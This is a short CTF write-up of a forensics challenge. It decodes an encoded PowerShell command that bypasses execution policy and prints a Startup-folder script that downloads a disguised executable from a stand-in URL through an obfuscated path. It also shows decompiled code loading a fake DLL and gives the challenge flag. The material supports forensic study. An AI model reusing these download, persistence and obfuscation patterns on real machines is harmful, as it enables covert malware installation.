IT-Waves Finals writeups 2025

IT-Waves Finals CTF
In this post, I'll walk through some of the challenges from the IT-Waves Finals CTF and how I approached them.
Challenge 1: Lupin - DFIR
Description
We were given a single file: Lupin.id1
. That's all.
Analysis
Checking the command history revealed this line:
powershell.exe -ExecutionPolicy Bypass -EncodedCommand cG93ZXJzaGVsbC5leGUgLUV4ZWN1dGlvbkRvbWFpbiBCeXBhc3MgLUZpbGUgQzpcVXNlcnNcTXJUb2dvb1xBcHBEYXRhXFJvYW1pbmdcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHByb21vLnBzMQ==
It's clearly Base64-encoded. Decoding it gives :
powershell.exe -ExecutionDomain Bypass -File C:\Users\MrTogoo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\promo.ps1
Solution
This led us to the promo.ps1 script. Here's what it contained:
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
$b64 = "aHR0cHM6Ly9jdGYuY3liZXJzcGFjZS5leGFtcGxlLmNvbS9zY3Zob3N0LmV4ZQ==";
$url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
$dest = -join @("C:","\","Wi","ndow","s","\S","y","sMa","in",".","exe");
Decoding the URL yields :
https://ctf.cyberspace.example.com/scvhost.exe
Although the link was dead, we found that the script saved the binary as SysMain.exe using an obfuscated path.
140001468 __main()
140001474 char const* const var_68 = "C:\Windows\user32.dll"
14000147f char const* const var_60 = "C:\Windows\secur32.dll"
14000148a char const* const var_58 = "C:\Windows\kernel32.dll"
140001495 char const* const var_50 = "C:\Windows\shell32.dll"
1400014a0 char const* const var_48 = "C:\Windows\user36.dll"
1400014ab char const* const var_40 = "C:\Windows\advapi32.dll"
1400014b6 char const* const var_38 = "C:\Windows\ws2_32.dll"
1400014c1 char const* const var_30 = "C:\Windows\gdi32.dll"
1400014cc char const* const var_28 = "C:\Windows\msvcrt.dll"
1400014d7 char const* const var_20 = "C:\Windows\comdlg32.dll"
1400014db int32_t var_10 = 0xa
1400014db
14000155e for (int32_t i = 0; i s< var_10; i += 1)
14000150a if (LoadLibraryA((&var_68)[sx.q(i)]) != 0)
14000154f __mingw_printf("Successfully loaded DLL: %s\n", (&var_68)[sx.q(i)])
14000150a else
140001513 GetLastError()
140001531 __mingw_printf("Failed to load DLL: %s (Error: %…", (&var_68)[sx.q(i)])
140001531
14000156c while (true)
14000156c Sleep(0xea60)
analysing it, The binary loads multiple system DLLs and among them is a suspicious one: user36.dll (non-standard), Analyzing user36.dll further, we discovered a hardcoded URL pointing to a ZIP file:
30f9ea058 char const data_30f9ea058[0xee] = "https://download1529.mediafire.com/zunoak6a5u5glqQdafJviNiFzhVrk33hYWTsCj62HRen83qU8CTWeSniyXYY1HnoeZwPSEeH"
30f9ea058 "LWG2_S0ndAHcMBOEo85XfoYNtZI0ypvpgv6R9ENJtcdmWi48cJZ8TjDYl24jY3CjKevyZNAwQk1jIqtX9ygsWp3NhptkGy0QgRgP/6vxi2yxw8btaw3r/passwords.zip", 0
30f9ea146 char const data_30f9ea146[0x13] = "Error opening URL.", 0
Once downloaded and extracted, we cracked the ZIP and found the flag inside a text file, a simple grep did the job.
Flag
CSP{N0TH1NG_34SY_1N_DF1R}
[More writeups after the exams...]